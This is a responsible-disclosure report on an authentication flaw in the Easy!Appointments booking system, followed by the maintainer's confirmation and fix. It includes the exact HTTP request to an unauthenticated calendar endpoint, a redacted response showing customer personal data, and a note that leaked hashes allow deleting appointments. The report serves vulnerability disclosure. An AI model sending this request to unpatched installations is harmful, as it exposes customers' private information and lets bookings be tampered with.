Exposure of Private Personal Information to an Unauthorized Actor in alextselegidis/easyappointments

Valid

Reported on

Jan 30th 2022


Description

The software is a booking management system that has a public form to place bookings, and a private area for the calendar and management of services, users, settings, etc...

There is a backend API that allows data manipulation, including listing the appointments for a specific time range.

This happens on this endpoint: /index.php/backend_api/ajax_get_calendar_events

Unfortunately, there is no authentication / permissions-check on that endpoint, the only required parameters in a POST request are "startDate", "endDate" and "csrfToken".

Because the csrfToken can be obtained by any unauthenticated user just visiting the public form (and is valid for the backend as well), any attacker can query the backend API and obtain all sorts of private information about the appointment, in JSON format.

Proof of Concept

REQUEST
POST /index.php/backend_api/ajax_get_calendar_events HTTP/2
Host: REDACTED
Cookie: csrfCookie= REDACTED
User-Agent: REDACTED
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 82
Origin: https://REDACTED
Referer: https://REDACTED
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

csrfToken= REDACTED&startDate=2022-02-01&endDate=2022-02-01

RESPONSE
{
   "appointments":[
      {
         "id":"REDACTED",
         "book_datetime":"2022-01-28 17:26:21",
         "start_datetime":"2022-02-02 08:40:00",
         "end_datetime":"2022-02-02 08:47:00",
         "location":null,
         "notes":null,
         "hash":"REDACTED",
         "is_unavailable":"0",
         "id_users_provider":"REDACTED",
         "id_users_customer":"REDACTED",
         "id_services":"REDACTED",
         "id_google_calendar":null,
         "provider":{REDACTED},
         "service":{REDACTED},
         "customer":{
            "id":"REDACTED",
            "first_name":"REDACTED",
            "last_name":"REDACTED",
            "email":"REDACTED",
            "mobile_number":null,
            "phone_number":"REDACTED",
            "address":null,
            "city":null,
            "state":null,
            "zip_code":null,
            "notes":null,
            "timezone":"REDACTED",
            "language":"REDACTED",
            "id_roles":"REDACTED"
         }
      }
   ],
   "unavailability_events":[
      
   ]
}

Impact

A malicious attacker is able to access private information (name, email, phone, address, hashed password) for all the customers with active appointments in the system.

As the JSON response also contains the appointment hash, the attacker is able to delete appointments as well and compromise the integrity of the system using this enpoint: index.php/appointments/index/{hash}

We are processing your report and will contact the alextselegidis/easyappointments team within 24 hours. 8 months ago
8 months ago
Francesco Carlucci modified the report
8 months ago
We have contacted a member of the alextselegidis/easyappointments team and are waiting to hear back 8 months ago
Alex Tselegidis validated this vulnerability 8 months ago
Francesco Carlucci has been awarded the disclosure bounty
The fix bounty is now up for grabs
We have sent a fix follow up to the alextselegidis/easyappointments team. We will try again in 7 days. 8 months ago
We have sent a second fix follow up to the alextselegidis/easyappointments team. We will try again in 10 days. 8 months ago
We have sent a third and final fix follow up to the alextselegidis/easyappointments team. This report is now considered stale. 7 months ago
Alex Tselegidis
7 months ago

Maintainer


This issue will be fixed with Easy!Appointments 1.4.3 and a single file patch script will be distributed so that developers can easily patch older versions that cannot be upgraded to the latest version.

Alex Tselegidis confirmed that a fix has been merged on 44af52 7 months ago
Francesco Carlucci has been awarded the fix bounty
to join this conversation